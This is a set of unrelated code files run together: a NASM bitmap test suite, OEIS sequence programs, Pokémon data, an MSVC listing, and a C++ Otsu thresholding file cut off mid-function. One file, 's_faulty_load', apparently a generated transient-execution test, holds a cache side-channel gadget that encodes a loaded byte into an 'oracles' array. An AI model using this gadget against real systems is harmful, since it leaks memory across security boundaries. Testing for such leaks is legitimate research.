.test2Fail: jmp .fail .test2Done: ; ----- Set middle bit of middle qword PRINT "BitSet: Set middle bit of middle qword" mov rax, 64 + 31 REGSNAP preSnap call BitmapBitSet REGSNAP postSnap call DebugRegComp jc .test3Fail mov r8, [testmap1 + 8] mov r9, 0x80000000 cmp r8, r9 jne .test3Fail PRINT "PASSED" jmp .test3Done .test3Fail: jmp .fail .test3Done: ; TODO: Try to set bit outside bitmap bounds ;----------------------------------------------------------------------- ; BitmapBitClear ; ----- Clear first bit of first qword PRINT "BitClear: Clear first bit of first qword" mov rsi, testmap2 mov rcx, 0x00000003 mov rax, 0x00000000 REGSNAP preSnap call BitmapBitClear REGSNAP postSnap call DebugRegComp jc .test4Fail mov r8, [testmap2] cmp r8d, 0xFFFFFFFE jne .test4Fail PRINT "PASSED" jmp .test4Done .test4Fail: jmp .fail .test4Done: ; ----- Clear last bit of last qword PRINT "BitClear: Clear last bit of last qword" mov rsi, testmap2 mov rcx, 0x00000003 mov rax, 64 * 3 - 1 REGSNAP preSnap call BitmapBitClear REGSNAP postSnap call DebugRegComp jc .test5Fail mov r8, [testmap2 + 2 * 8] mov r9, 0xFFFFFFFFFFFFFFFE ror r9, 1 cmp r8, r9 jne .test5Fail PRINT "PASSED" jmp .test5Done .test5Fail: jmp .fail .test5Done: ; ----- Clear middle bit of middle qword ; test 6: skipping to save time ; TODO: test out of bounds ;----------------------------------------------------------------------- ; BitmapBitFind ; find in first qword with later bits free PRINT "BitFind: Find in first qword with later bits free" mov rsi, testmap3 mov rcx, 0x00000003 mov rax, 0 REGSNAP preSnap call BitmapBitFind REGSNAP postSnap jc .test7Fail mov rax, 4 mov [r14 + debug_snap_t.rax], rax call DebugRegComp jc .test7Fail PRINT "PASSED" jmp .test7Done .test7Fail: jmp .fail .test7Done: ; skip over qword and find last bit of last qword PRINT "BitFind: Skip over qword and find last bit of last qword" mov rsi, testmap3 mov rcx, 0x00000003 mov rax, 64 REGSNAP preSnap call BitmapBitFind REGSNAP postSnap jc .test8Fail mov rax, 64 * 3 - 1 mov [r14 + debug_snap_t.rax], rax call DebugRegComp jc .test8Fail PRINT "PASSED" jmp .test8Done .test8Fail: jmp .fail .test8Done: ; no available bits with bits clear after final qword PRINT "BitFind: No available bits with bits clear after final qword" mov rsi, testmap4 mov rcx, 0x00000003 mov rax, 0 REGSNAP preSnap call BitmapBitFind REGSNAP postSnap jnc .test9Fail mov rax, [r15 + debug_snap_t.rax] mov [r14 + debug_snap_t.rax], rax call DebugRegComp jc .test9Fail PRINT "PASSED" jmp .test9Done .test9Fail: jmp .fail .test9Done: ;----------------------------------------------------------------------- ; BitmapRangeSet ; start at beginning of first qword PRINT "RangeSet: Start at beginning of first qword" mov rsi, testmap5 mov rcx, 5 mov rax, 0 mov rbx, 8 REGSNAP preSnap call BitmapRangeSet REGSNAP postSnap call DebugRegComp jc .test10Fail mov r8, [testmap5] cmp r8, 0x000000FF jne .test10Fail PRINT "PASSED" jmp .test10Done .test10Fail: jmp .fail .test10Done: ; stop at end of last qword PRINT "RangeSet: Stop at end of last qword" mov rsi, testmap5 mov rcx, 5 mov rax, 64 * 5 - 8 mov rbx, 8 REGSNAP preSnap call BitmapRangeSet REGSNAP postSnap call DebugRegComp jc .test11Fail mov r8, [testmap5 + 8 * 4] shr r8, 32 cmp r8d, 0xFF000000 jne .test11Fail mov r8, [testmap5 + 8 * 5] cmp r8, 0 jne .test11Fail PRINT "PASSED" jmp .test11Done .test11Fail: mov rcx, 6 jmp .fail .test11Done: ; span two qwords PRINT "RangeSet: Span two qwords" mov rsi, testmap5 mov rcx, 5 mov rax, 64 + 32 + 16 mov rbx, 32 REGSNAP preSnap call BitmapRangeSet REGSNAP postSnap call DebugRegComp jc .test12Fail mov r8, [testmap5 + 8] shr r8, 32 cmp r8d, 0xFFFF0000 jne .test12Fail mov r8, [testmap5 + 8 * 2] cmp r8, 0x0000FFFF jne .test12Fail PRINT "PASSED" jmp .test12Done .test12Fail: mov rcx, 6 jmp .fail .test12Done: ; span more than two qwords PRINT "RangeSet: Span more than two qwords" mov rsi, testmap5 mov rcx, 5 mov rax, 64 * 2 + 32 + 16 mov rbx, 64 + 32 REGSNAP preSnap call BitmapRangeSet REGSNAP postSnap call DebugRegComp jc .test13Fail mov r8, [testmap5 + 8 * 2] shr r8, 32 cmp r8d, 0xFFFF0000 jne .test13Fail mov r8, [testmap5 + 8 * 3] xor r9, r9 not r9 cmp r8, r9 jne .test13Fail mov r8, [testmap5 + 8 * 4] cmp r8d, 0x0000FFFF jne .test13Fail PRINT "PASSED" jmp .test13Done .test13Fail: mov rcx, 6 jmp .fail .test13Done: ;----------------------------------------------------------------------- ; BitmapRangeClear ; start at beginning of qword PRINT "RangeClear: Start at beginning of first qword" mov rsi, testmap6 mov rcx, 5 mov rax, 0 mov rbx, 8 REGSNAP preSnap call BitmapRangeClear REGSNAP postSnap call DebugRegComp jc .test14Fail mov r8, [testmap6] cmp r8d, 0xFFFFFF00 jne .test14Fail PRINT "PASSED" jmp .test14Done .test14Fail: mov rcx, 6 jmp .fail .test14Done: ; end at end of qword ; skip to save time ; span two qwords PRINT "RangeClear: Span two qwords" mov rsi, testmap6 mov rcx, 5 mov rax, 64 + 32 + 16 mov rbx, 32 REGSNAP preSnap call BitmapRangeClear REGSNAP postSnap call DebugRegComp jc .test16Fail mov r8, [testmap6 + 8] shr r8, 32 cmp r8d, 0x0000FFFF jne .test16Fail mov r8, [testmap6 + 8 * 2] cmp r8d, 0xFFFF0000 jne .test16Fail PRINT "PASSED" jmp .test16Done .test16Fail: mov rcx, 6 jmp .fail .test16Done: ; span more than two qwords PRINT "RangeClear: Span more than two qwords" mov rsi, testmap6 mov rcx, 5 mov rax, 64 * 2 + 32 + 16 mov rbx, 64 + 32 REGSNAP preSnap call BitmapRangeClear REGSNAP postSnap mov r8, [testmap6 + 8 * 2] shr r8, 32 cmp r8d, 0x0000FFFF jne .test17Fail mov r8, [testmap6 + 8 * 3] test r8, r8 jnz .test17Fail mov r8, [testmap6 + 8 * 4] cmp r8d, 0xFFFF0000 jne .test17Fail call DebugRegComp jc .test17Fail PRINT "PASSED" jmp .test17Done .test17Fail: mov rcx, 6 jmp .fail .test17Done: ;----------------------------------------------------------------------- ; BitmapRangeFind ; find at beginning of first qword PRINT "RangeFind: Find at beginning of first qword" mov rsi, testmap7 mov rcx, 8 mov rax, 0 REGSNAP preSnap call BitmapRangeFind REGSNAP postSnap jc .test18Fail mov r8, 0 mov [r14 + debug_snap_t.rax], r8 mov r8, 8 mov [r14 + debug_snap_t.rbx], r8 call DebugRegComp jc .test18Fail PRINT "PASSED" jmp .test18Done .test18Fail: jmp .fail .test18Done: ; span two qwords PRINT "RangeFind: Span two qwords" mov rsi, testmap7 mov rcx, 8 mov rax, 64 REGSNAP preSnap call BitmapRangeFind REGSNAP postSnap jc .test20Fail mov r8, 64 + 32 + 16 mov [r14 + debug_snap_t.rax], r8 mov r8, 32 mov [r14 + debug_snap_t.rbx], r8 call DebugRegComp jc .test20Fail PRINT "PASSED" jmp .test20Done .test20Fail: jmp .fail .test20Done: ; span more than two qwords PRINT "RangeFind: Span more than two qwords" mov rsi, testmap7 mov rcx, 8 mov rax, 64 * 3 REGSNAP preSnap call BitmapRangeFind REGSNAP postSnap jc .test21Fail mov r8, 64 * 3 + 32 + 16 mov [r14 + debug_snap_t.rax], r8 mov r8, 64 + 32 mov [r14 + debug_snap_t.rbx], r8 call DebugRegComp jc .test21Fail PRINT "PASSED" jmp .test21Done .test21Fail: jmp .fail .test21Done: ; skip over a free range in the same qword PRINT "RangeFind: Skip over a free range in the same qword" mov rsi, testmap7 mov rcx, 8 mov rax, 12 REGSNAP preSnap call BitmapRangeFind REGSNAP postSnap jc .test22Fail mov r8, 16 mov [r14 + debug_snap_t.rax], r8 mov r8, 8 mov [r14 + debug_snap_t.rbx], r8 call DebugRegComp jc .test22Fail PRINT "PASSED" jmp .test22Done .test22Fail: jmp .fail .test22Done: ; find at end of last qword with more bits clear after final qword PRINT "RangeFind: Find at end of last qword with more bits clear" mov rsi, testmap7 mov rcx, 8 mov rax, 64 * 5 + 32 REGSNAP preSnap call BitmapRangeFind REGSNAP postSnap jc .test19Fail mov r8, 64 * 5 + 32 + 16 mov [r14 + debug_snap_t.rax], r8 mov r8, 64 * 2 + 16 mov [r14 + debug_snap_t.rbx], r8 call DebugRegComp jc .test19Fail PRINT "PASSED" jmp .test19Done .test19Fail: jmp .fail .test19Done: ; no free blocks with bits clear after final qword PRINT "RangeFind: No available bits with bits clear after final qword" mov rsi, testmap8 mov rcx, 3 mov rax, 0 REGSNAP preSnap call BitmapRangeFind REGSNAP postSnap jnc .test23Fail mov r8, [r15 + debug_snap_t.rax] mov [r14 + debug_snap_t.rax], r8 mov r8, [r15 + debug_snap_t.rbx] mov [r14 + debug_snap_t.rbx], r8 call DebugRegComp jc .test23Fail PRINT "PASSED" jmp .test23Done .test23Fail: jmp .fail .test23Done: ; ----- DONE - All tests passed PRINT "All tests passed." ret .fail: PRINT "FAILED" call BitmapPrint ret %endif ; TEST_BITMAP [section .data] %ifdef TEST_BITMAP ;------------------------------------------------------------------------------- ; Test bitmaps testmap1: dq 0x0000000000000000 dq 0x0000000000000000 dq 0x0000000000000000 testmap2: dq 0xFFFFFFFFFFFFFFFF dq 0xFFFFFFFFFFFFFFFF dq 0xFFFFFFFFFFFFFFFF testmap3: dq 0xFFFFFFFEFFFFFFEF dq 0xFFFFFFFFFFFFFFFF dq 0x7FFFFFFFFFFFFFFF testmap4: dq 0xFFFFFFFFFFFFFFFF dq 0xFFFFFFFFFFFFFFFF dq 0xFFFFFFFFFFFFFFFF dq 0x0000000000000000 ; outside bitmap testmap5: dq 0x0000000000000000 dq 0x0000000000000000 dq 0x0000000000000000 dq 0x0000000000000000 dq 0x0000000000000000 dq 0x0000000000000000 ; outside bitmap testmap6: dq 0xFFFFFFFFFFFFFFFF dq 0xFFFFFFFFFFFFFFFF dq 0xFFFFFFFFFFFFFFFF dq 0xFFFFFFFFFFFFFFFF dq 0xFFFFFFFFFFFFFFFF testmap7: dq 0xFF00FF00FF00FF00 dq 0x0000FFFFFFFFFFFF dq 0xFFFFFFFFFFFF0000 dq 0x0000FFFFFFFFFFFF dq 0x0000000000000000 dq 0x0000FFFFFFFF0000 dq 0x0000000000000000 dq 0x0000000000000000 dq 0x0000000000000000 ; outside bitmap dq 0xFFFFFFFF00000000 ; outside bitmap testmap8: dq 0xFFFFFFFFFFFFFFFF dq 0xFFFFFFFFFFFFFFFF dq 0xFFFFFFFFFFFFFFFF dq 0x0000000000000000 ; outside bitmap ;------------------------------------------------------------------------------- ; Output strings bitSetFirstQFirstB: db "Set first bit of first qword", CHAR_CR, CHAR_LF, CHAR_NUL bitSetLastQLastB: db "Set last bit of last qword", CHAR_CR, CHAR_LF, CHAR_NUL bitSetMidQMidB: db "Set middle bit of middle qword", CHAR_CR, CHAR_LF, CHAR_NUL testFail: db "FAILED", CHAR_CR, CHAR_LF, CHAR_NUL testPass: db "PASSED", CHAR_CR, CHAR_LF, CHAR_NUL testAllPass: db "Bitmap test suite passed", CHAR_CR, CHAR_LF, CHAR_NUL bitmapStr: db "Bitmap contents:", CHAR_CR, CHAR_LF, CHAR_NUL %endif ; TEST_BITMAP [section .bss] %ifdef TEST_BITMAP preSnap: resb debug_snap_t_size postSnap: resb debug_snap_t_size %endif ; TEST_BITMAP
; A080148: Positions of primes of the form 4*k+3 (A002145) among all primes (A000040). ; 2,4,5,8,9,11,14,15,17,19,20,22,23,27,28,31,32,34,36,38,39,41,43,46,47,48,49,52,54,56,58,61,63,64,67,69,72,73,75,76,81,83,85,86,90,91,92,93,94,95,96,99,101,103,105,107,109,111,114,115,117,118,120,124,125,128,129,131,132,133,138,141,143,144,146,149,150,153,154,155,156,157,161,163,164,166,167,171,173,175,177,179,181,182,185,188,190,192,193,195 seq $0,2145 ; Primes of the form 4*k+3. seq $0,36234 ; Number of primes <= n, if 1 is counted as a prime. sub $0,1
; A161199: Numerators in expansion of (1-x)^(-5/2). ; 1,5,35,105,1155,3003,15015,36465,692835,1616615,7436429,16900975,152108775,339319575,1502700975,3305942145,115707975075,251835004575,1091285019825,2354878200675,20251952525805,43397041126725,185423721177825,395033145117975,6715563467005575,14236994550051819,60233438480988465,127159481237642315,1071772770431556655,2254418586080170895,9468558061536717759,19853428193544730785,1330179688967496962595,2781284804204766376335,11615954182266965454105,24227561580156813661419,201896346501306780511825,420162667043260056740825,1746992141916712867501325,3628368294750095955579675,60230913692851592862622605,124868967412009399837144425,517314293564038942182455475,1070720282027894554749733425,8857776878594400407475067425,18306072215761760842115139345,75612037412929012173953836425,156050375086257748529223875175,5149662377846505701464387880775,10614610207397899507100064815475,43732194054479345969252267039757,90036870112163359348460549787735,741072700153959957714252217483665,1524092911637389346997235692560745,6265715303398156204321968958305285,12873196896072575474334227132518131,211488234721192311364062302891369295,434107429164552639115706832250705395 seq $0,2802 ; a(n) = (2*n+3)!/(6*n!*(n+1)!). lpb $0 dif $0,2 lpe
db 0 ; 283 DEX NO db 40, 30, 32, 65, 50, 52 ; hp atk def spd sat sdf db BUG, WATER ; type db 200 ; catch rate db 63 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F50 ; gender ratio db 100 ; unknown 1 db 15 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/hoenn/surskit/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_MEDIUM_FAST ; growth rate dn EGG_WATER_1, EGG_BUG ; egg groups ; tm/hm learnset tmhm ; end
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0x11f71, %rsi lea addresses_D_ht+0xea79, %rdi nop nop nop nop nop cmp $17562, %rbp mov $50, %rcx rep movsb add %rdi, %rdi lea addresses_WT_ht+0x14991, %rbx nop nop inc %r10 movl $0x61626364, (%rbx) add $37190, %rbx lea addresses_WC_ht+0x1c061, %rsi nop nop nop nop dec %r14 movb $0x61, (%rsi) xor $35617, %r14 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r15 push %r8 push %r9 push %rax push %rcx push %rdx // Store lea addresses_UC+0xed71, %r9 nop nop nop nop nop cmp %r13, %r13 mov $0x5152535455565758, %rcx movq %rcx, %xmm1 vmovups %ymm1, (%r9) nop and $7142, %r13 // Faulty Load lea addresses_UC+0x9d71, %r8 nop xor $60526, %rax movntdqa (%r8), %xmm3 vpextrq $1, %xmm3, %r15 lea oracles, %rdx and $0xff, %r15 shlq $12, %r15 mov (%rdx,%r15,1), %r15 pop %rdx pop %rcx pop %rax pop %r9 pop %r8 pop %r15 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_UC', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_UC', 'AVXalign': False, 'size': 32}} [Faulty Load] {'src': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_UC', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_WC_ht', 'AVXalign': True, 'size': 1}} {'42': 1, '5e': 8, '08': 18, '00': 21798, '17': 4} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.24.28117.0 include listing.inc INCLUDELIB LIBCMT INCLUDELIB OLDNAMES CONST SEGMENT $SG5322 DB 'Hello World!', 0aH, 00H ORG $+2 $SG5323 DB '%d', 0aH, 00H CONST ENDS PUBLIC __local_stdio_printf_options PUBLIC _vfprintf_l PUBLIC printf PUBLIC ?f@@YAHI@Z ; f PUBLIC ?f1@@YAH_K@Z ; f1 PUBLIC main PUBLIC ?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA ; `__local_stdio_printf_options'::`2'::_OptionsStorage EXTRN __acrt_iob_func:PROC EXTRN __stdio_common_vfprintf:PROC ; COMDAT ?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA _BSS SEGMENT ?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA DQ 01H DUP (?) ; `__local_stdio_printf_options'::`2'::_OptionsStorage _BSS ENDS ; COMDAT pdata pdata SEGMENT $pdata$_vfprintf_l DD imagerel $LN3 DD imagerel $LN3+67 DD imagerel $unwind$_vfprintf_l pdata ENDS ; COMDAT pdata pdata SEGMENT $pdata$printf DD imagerel $LN3 DD imagerel $LN3+87 DD imagerel $unwind$printf pdata ENDS pdata SEGMENT $pdata$?f@@YAHI@Z DD imagerel $LN7 DD imagerel $LN7+100 DD imagerel $unwind$?f@@YAHI@Z $pdata$?f1@@YAH_K@Z DD imagerel $LN7 DD imagerel $LN7+108 DD imagerel $unwind$?f1@@YAH_K@Z $pdata$main DD imagerel $LN3 DD imagerel $LN3+53 DD imagerel $unwind$main pdata ENDS xdata SEGMENT $unwind$?f@@YAHI@Z DD 010801H DD 02208H $unwind$?f1@@YAH_K@Z DD 010901H DD 04209H $unwind$main DD 010401H DD 06204H xdata ENDS ; COMDAT xdata xdata SEGMENT $unwind$printf DD 011801H DD 06218H xdata ENDS ; COMDAT xdata xdata SEGMENT $unwind$_vfprintf_l DD 011801H DD 06218H xdata ENDS ; Function compile flags: /Odtp _TEXT SEGMENT i$ = 32 main PROC ; File C:\Users\libit\source\repos\L047\L047\L047.cpp ; Line 37 $LN3: sub rsp, 56 ; 00000038H ; Line 38 lea rcx, OFFSET FLAT:$SG5322 call printf ; Line 39 mov ecx, 305419896 ; 12345678H call ?f@@YAHI@Z ; f mov DWORD PTR i$[rsp], eax ; Line 40 mov edx, DWORD PTR i$[rsp] lea rcx, OFFSET FLAT:$SG5323 call printf ; Line 41 xor eax, eax add rsp, 56 ; 00000038H ret 0 main ENDP _TEXT ENDS ; Function compile flags: /Odtp _TEXT SEGMENT count$ = 0 i$1 = 8 tv73 = 16 a$ = 48 ?f1@@YAH_K@Z PROC ; f1 ; File C:\Users\libit\source\repos\L047\L047\L047.cpp ; Line 24 $LN7: mov QWORD PTR [rsp+8], rcx sub rsp, 40 ; 00000028H ; Line 25 mov DWORD PTR count$[rsp], 0 ; Line 26 mov QWORD PTR i$1[rsp], 0 jmp SHORT $LN4@f1 $LN2@f1: mov rax, QWORD PTR i$1[rsp] inc rax mov QWORD PTR i$1[rsp], rax $LN4@f1: cmp QWORD PTR i$1[rsp], 64 ; 00000040H jae SHORT $LN3@f1 ; Line 28 mov rax, QWORD PTR i$1[rsp] mov ecx, 1 mov QWORD PTR tv73[rsp], rcx movzx ecx, al mov rax, QWORD PTR tv73[rsp] shl rax, cl mov rcx, QWORD PTR a$[rsp] and rcx, rax mov rax, rcx test rax, rax je SHORT $LN5@f1 ; Line 30 mov eax, DWORD PTR count$[rsp] inc eax mov DWORD PTR count$[rsp], eax $LN5@f1: ; Line 32 jmp SHORT $LN2@f1 $LN3@f1: ; Line 33 mov eax, DWORD PTR count$[rsp] ; Line 34 add rsp, 40 ; 00000028H ret 0 ?f1@@YAH_K@Z ENDP ; f1 _TEXT ENDS ; Function compile flags: /Odtp _TEXT SEGMENT count$ = 0 tv73 = 4 i$1 = 8 a$ = 32 ?f@@YAHI@Z PROC ; f ; File C:\Users\libit\source\repos\L047\L047\L047.cpp ; Line 11 $LN7: mov DWORD PTR [rsp+8], ecx sub rsp, 24 ; Line 12 mov DWORD PTR count$[rsp], 0 ; Line 13 mov QWORD PTR i$1[rsp], 0 jmp SHORT $LN4@f $LN2@f: mov rax, QWORD PTR i$1[rsp] inc rax mov QWORD PTR i$1[rsp], rax $LN4@f: cmp QWORD PTR i$1[rsp], 32 ; 00000020H jae SHORT $LN3@f ; Line 15 mov rax, QWORD PTR i$1[rsp] mov ecx, 1 mov DWORD PTR tv73[rsp], ecx movzx ecx, al mov eax, DWORD PTR tv73[rsp] shl eax, cl mov ecx, DWORD PTR a$[rsp] and ecx, eax mov eax, ecx test eax, eax je SHORT $LN5@f ; Line 17 mov eax, DWORD PTR count$[rsp] inc eax mov DWORD PTR count$[rsp], eax $LN5@f: ; Line 19 jmp SHORT $LN2@f $LN3@f: ; Line 20 mov eax, DWORD PTR count$[rsp] ; Line 21 add rsp, 24 ret 0 ?f@@YAHI@Z ENDP ; f _TEXT ENDS ; Function compile flags: /Odtp ; COMDAT printf _TEXT SEGMENT _Result$ = 32 _ArgList$ = 40 _Format$ = 64 printf PROC ; COMDAT ; File C:\Program Files (x86)\Windows Kits\10\include\10.0.17763.0\ucrt\stdio.h ; Line 954 $LN3: mov QWORD PTR [rsp+8], rcx mov QWORD PTR [rsp+16], rdx mov QWORD PTR [rsp+24], r8 mov QWORD PTR [rsp+32], r9 sub rsp, 56 ; 00000038H ; Line 957 lea rax, QWORD PTR _Format$[rsp+8] mov QWORD PTR _ArgList$[rsp], rax ; Line 958 mov ecx, 1 call __acrt_iob_func mov r9, QWORD PTR _ArgList$[rsp] xor r8d, r8d mov rdx, QWORD PTR _Format$[rsp] mov rcx, rax call _vfprintf_l mov DWORD PTR _Result$[rsp], eax ; Line 959 mov QWORD PTR _ArgList$[rsp], 0 ; Line 960 mov eax, DWORD PTR _Result$[rsp] ; Line 961 add rsp, 56 ; 00000038H ret 0 printf ENDP _TEXT ENDS ; Function compile flags: /Odtp ; COMDAT _vfprintf_l _TEXT SEGMENT _Stream$ = 64 _Format$ = 72 _Locale$ = 80 _ArgList$ = 88 _vfprintf_l PROC ; COMDAT ; File C:\Program Files (x86)\Windows Kits\10\include\10.0.17763.0\ucrt\stdio.h ; Line 642 $LN3: mov QWORD PTR [rsp+32], r9 mov QWORD PTR [rsp+24], r8 mov QWORD PTR [rsp+16], rdx mov QWORD PTR [rsp+8], rcx sub rsp, 56 ; 00000038H ; Line 643 call __local_stdio_printf_options mov rcx, QWORD PTR _ArgList$[rsp] mov QWORD PTR [rsp+32], rcx mov r9, QWORD PTR _Locale$[rsp] mov r8, QWORD PTR _Format$[rsp] mov rdx, QWORD PTR _Stream$[rsp] mov rcx, QWORD PTR [rax] call __stdio_common_vfprintf ; Line 644 add rsp, 56 ; 00000038H ret 0 _vfprintf_l ENDP _TEXT ENDS ; Function compile flags: /Odtp ; COMDAT __local_stdio_printf_options _TEXT SEGMENT __local_stdio_printf_options PROC ; COMDAT ; File C:\Program Files (x86)\Windows Kits\10\include\10.0.17763.0\ucrt\corecrt_stdio_config.h ; Line 88 lea rax, OFFSET FLAT:?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA ; `__local_stdio_printf_options'::`2'::_OptionsStorage ; Line 89 ret 0 __local_stdio_printf_options ENDP _TEXT ENDS END
// ********************************************************************************** // // BSD License. // This file is part of an Otsu implementation. // // Copyright (c) 2017, Bruno Keymolen, email: bruno.keymolen@gmail.com // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, // are permitted provided that the following conditions are met: // // Redistributions of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // Redistributions in binary form must reproduce the above copyright notice, // this // list of conditions and the following disclaimer in the documentation and/or // other // materials provided with the distribution. // Neither the name of "Bruno Keymolen" nor the names of its contributors may be // used to endorse or promote products derived from this software without // specific // prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE // DISCLAIMED. // IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY // DIRECT, // INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES // (INCLUDING, BUT // NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR // PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF // LIABILITY, // WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR // OTHERWISE) // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE // POSSIBILITY OF SUCH DAMAGE. // // ********************************************************************************** #include "otsu.hpp" #include <cmath> #include <iostream> #include <stdlib.h> #include <string.h> #include <cstdint> #include <iomanip> namespace keymolen { Otsu::Otsu(int w, int h) : w_(w), h_(h), size_(w * h) {} Otsu::~Otsu() {} void DrawBox(unsigned char* dst, int w, int x1, int y1, int x2, int y2, unsigned char color) { for (int x = x1; x < x2; x++) { for (int y = y1; y < y2; y++) { int pos = x + (y * w); dst[pos] = color; } } } unsigned char* Otsu::Threshold(const unsigned char* src, unsigned char* hist, unsigned char* result) { memset(histogram_, 0, 255 * sizeof(int)); //create histogram int histmax = 0; for (int x = 0; x < w_; x++) { for (int y = 0; y < h_; y++) { int pos = x + (y * w_); histogram_[src[pos]]++; //if(histogram_[src[pos]] > histmax) //{ // histmax = histogram_[src[pos]]; //} } } for (int z=0; z<255; z++) { if (histogram_[z] > histmax) { histmax = histogram_[z]; } } double total = w_ * h_; double tot = 0.0; double wb = 0.0; double wf = 0.0; double btot = 0.0; double max = 0.0; int t = 